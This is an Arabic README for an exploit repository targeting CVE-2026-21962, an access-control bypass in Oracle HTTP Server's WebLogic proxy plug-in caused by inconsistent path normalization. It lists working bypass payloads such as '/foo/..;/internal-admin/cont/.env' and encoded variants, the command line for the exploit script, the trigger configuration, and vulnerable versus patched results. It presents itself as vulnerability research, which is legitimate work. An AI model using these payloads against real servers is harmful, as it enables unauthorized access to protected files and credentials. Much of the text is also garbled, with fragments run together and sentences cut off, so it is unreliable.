
# إثبات مفهوم (PoC) مُتحقق منه وتحليل لـ CVE-2026-21962، وهو تجاوز للتحكم في الوصول في Oracle HTTP Server/WebLogic Proxy Plug-in عبر عدم اتساق تطبيع URI، مع سكربت استغلال وأدلة.
استغلال وتحليل مُعاد إنتاجه بشكل مستقل لـ CVE-2026-21962 (التحكم غير السليم في الوصول، CVSS 10.0) في Oracle HTTP Server / المكوّن الإضافي لوكيل Oracle WebLogic Server لخادم Apache HTTP Server.
الحالة: تم التحقق مقابل OHS 12.2.1.4.0 و 14.1.2.0.0 المباشر أمام WebLogic Server 12.2.1.4.
الواجهة الأمامية (OHS + mod_wl_ohs) والواجهة الخلفية (WebLogic) تطبّعان
..; بشكل مختلف. طلب مثل:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
يتجاوز قاعدة حماية <Location /internal-admin> في الواجهة الأمامية لأن OHS
لا يدمج ..;، بينما WebLogic يفعل ( = معامل مسار servlet،
= الأصل). ثم تخدم الواجهة الخلفية المسار المحمي.
النتيجة: (CWE-284).
;..انظر analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
أمام WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
أمام WebLogic Server 12.2.1.4..env المحمي):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404)، مما يثبت التجاوز.X-ORACLE-DMS-*، مما يثبت أنها استجابة
حقيقية من الواجهة الخلفية (WebLogic)./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl، متأثر في
12.2.1.4.0). من المتوقع نفس الآلية (حل مسار servlet على
الواجهة الخلفية)، لكن لم يتم إعادة إنتاجه على Windows.analysis/patch-analysis.md).| الدور | المكوّن | الإصدار |
|---|---|---|
| الواجهة الأمامية | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| المكوّن الإضافي | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| الواجهة الخلفية | Oracle WebLogic Server | 12.2.1.4 |
| التطبيق المحمي | /internal-admin/cont/.env (بيانات اعتماد مُختلقة) | — |
إعداد الواجهة الأمامية المستخدم (مُحفّز أدنى):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
نفس الطلب، نفس الواجهة الأمامية، نفس الواجهة الخلفية — فقط معالجة الواجهة
الأمامية لـ ..; هي التي تتغير.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| النشر | HTTP | تسريب | الوصول للواجهة الخلفية |
|---|---|---|---|
| ضعيف | 200 | نعم (بيانات اعتماد .env) | نعم (X-ORACLE-DMS-*) |
| مُصحح (تطبيع مُصلح) | 404 | لا | لا |
الأدلة الخام (طلب / استجابة / سجلات الخادم):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : اكتشاف تلقائي لبادئة وكيل WLSRequest (مثل /foo).-c : المسار المحمي على الواجهة الخلفية (الافتراضي internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*؛ يجب
حظر طلب التحكم (المباشر) حتى يكون الحكم إيجابيًا.انظر exploit/README.md للتفاصيل. استخدم فقط ضد الأنظمة التي لديك
تفويض لاختبارها.
.
├── README.md هذا الملف
├── exploit/
│ ├── CVE-2026-21962.py PoC مُتحقق منه (فحص تسريب حتمي)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md تحليل عدم تطابق التطبيع
│ └── patch-analysis.md مقارنة ثنائية + A/B مكافئ للتصحيح
└── poc-factcheck.md جدول مصداقية PoC العام + تفاصيل لكل PoC
أدوات الكشف / التخطيط النشطة (بصمة، فحص أعمى، خريطة تطبيع)
التي تعمل دون معرفة مسار محمي محفوظة بشكل منفصل في
../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aهذه المادة مقدمة لأغراض البحث في الثغرات والتحقق الدفاعي.
لا تستخدمها ضد أنظمة دون تفويض. محتوى .env في
الأدلة مُختلق؛ لا توجد بيانات اعتماد حقيقية مضمّنة.